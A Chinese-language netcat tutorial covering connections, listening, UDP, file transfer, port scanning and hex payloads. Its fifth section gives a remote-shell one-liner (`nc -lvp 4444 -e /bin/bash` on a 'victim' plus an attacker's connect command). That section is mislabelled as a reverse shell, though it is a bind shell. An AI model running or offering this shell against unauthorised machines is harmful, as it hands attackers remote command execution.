netcat(通常简写为 nc)是一个功能强大的网络工具,可用于 TCP/UDP 网络通信、端口扫描、文件传输、端口监听 等。在 Ubuntu 和其他 Linux 系统中,它通常默认安装,如果没有,可以使用以下命令安装:

sudo apt update
sudo apt install netcat-openbsd  # 或 netcat-traditional

1. 基本用法

(1) 建立 TCP 连接

nc [选项] <目标IP> <目标端口>

示例(连接 example.com 的 80 端口):

nc example.com 80

然后可以手动输入 HTTP 请求(如 GET / HTTP/1.1)。


(2) 监听端口(TCP 服务器模式)

nc -l -p <端口>

示例(监听 1234 端口):

nc -l -p 1234

客户端可以连接:

nc 127.0.0.1 1234

(3) UDP 模式

-u 选项:

nc -u <目标IP> <目标端口>  # 发送 UDP 数据
nc -u -l -p <端口>        # 监听 UDP 端口

示例(发送 UDP 数据):

echo "Hello UDP" | nc -u 192.168.1.100 1234

2. 发送文件

(1) 发送文件(TCP)

发送端

nc -l -p 1234 < file.txt  # 监听并发送文件

接收端

nc <发送端IP> 1234 > received_file.txt

(2) 发送整个目录

发送端

tar -czvf - ./dir/ | nc -l -p 1234

接收端

nc <发送端IP> 1234 | tar -xzvf -

3. 端口扫描

nc -zv <目标IP> <起始端口>-<结束端口>

示例(扫描 1-100 端口):

nc -zv 192.168.1.1 1-100
  • -z:只扫描,不发送数据。
  • -v:显示详细信息。

4. 发送十六进制数据

echo -n -e '\x41\x42\x43' | nc <目标IP> <目标端口>

或使用 xxd(推荐):

echo "414243" | xxd -r -p | nc <目标IP> <目标端口>
  • 414243ABC 的十六进制形式。
  • xxd -r -p 将十六进制转二进制。

5. 反弹 Shell(网络安全相关)

⚠️ 仅用于合法授权测试!
目标机器(受害者)

nc -lvp 4444 -e /bin/bash

攻击者

nc <目标IP> 4444

然后可以执行命令(如 lswhoami)。


6. 其他常用选项

选项 说明
-l 监听模式(服务器)
-p 指定端口
-u UDP 模式
-v 显示详细信息
-w 超时时间(秒)
-n 禁用 DNS 解析(加快速度)
-k 保持监听(允许多个连接)

总结

  • 基本连接nc <IP> <端口>
  • 监听端口nc -l -p <端口>
  • UDP 模式nc -u <IP> <端口>
  • 文件传输nc -l -p 1234 < file.txt(发送端),nc <IP> 1234 > file.txt(接收端)
  • 端口扫描nc -zv <IP> 1-100
  • 十六进制数据echo "414243" | xxd -r -p | nc <IP> <端口>

netcat 是网络调试的瑞士军刀,适用于各种场景!🚀

Logo

魔乐社区(Modelers.cn) 是一个中立、公益的人工智能社区,提供人工智能工具、模型、数据的托管、展示与应用协同服务,为人工智能开发及爱好者搭建开放的学习交流平台。社区通过理事会方式运作,由全产业链共同建设、共同运营、共同享有,推动国产AI生态繁荣发展。

更多推荐